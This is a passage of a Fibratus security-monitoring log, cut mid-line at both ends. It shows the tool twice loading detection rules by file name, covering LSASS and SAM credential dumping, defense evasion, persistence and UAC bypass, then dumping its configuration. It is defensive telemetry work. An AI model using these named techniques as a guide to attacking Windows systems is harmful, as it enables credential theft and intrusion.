C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-22T13:22:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-22T13:22:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:22:04+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-22T13:22:04+01:00 level=info msg=bootstrapping with pid 2768. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T13:22:04+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ to=>[] enabled=>false use-template=>true port=>25 content-type=>text/html] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-handle=>false enable-net=>true stack-enrichment=>true enable-registry=>true enable-vamap=>true enable-audit-api=>true enable-mem=>false max-buffers=>36 enable-fileio=>true enable-thread=>true buffer-size=>512 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-dns=>false enable-image=>true enable-threadpool=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 level=>info max-age=>0 log-stdout=>true formatter=>text max-backups=>15] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] amqp=>[ tls-insecure-skip-verify=>false durable=>false exchange-type=>topic delivery-mode=>transient enabled=>false exchange=>fibratus passive=>false timeout=>5s vhost=>/ url=>amqp://localhost:5672 routing-key=>fibratus] http=>[ enabled=>false enable-gzip=>false timeout=>5s method=>POST endpoints=>[] serializer=>json tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ timeout=>5s healthcheck-interval=>10s bulk-workers=>1 servers=>[http://127.0.0.1:9200] trace-log=>false template-name=>fibratus healthcheck=>true enabled=>false index-name=>fibratus gzip-compression=>false flush-period=>1s healthcheck-timeout=>5s sniff=>false]] + pe ............................. [ enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s skip-allocs=>false excluded-files=>[] enabled=>false skip-registry=>false fastscan=>true skip-mmaps=>false excluded-procs=>[] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T13:22:04+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:22:06+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:23:05+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T13:23:05+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:23:05+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:23:08+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-22T13:23:08+01:00 level=info msg=loading rule from 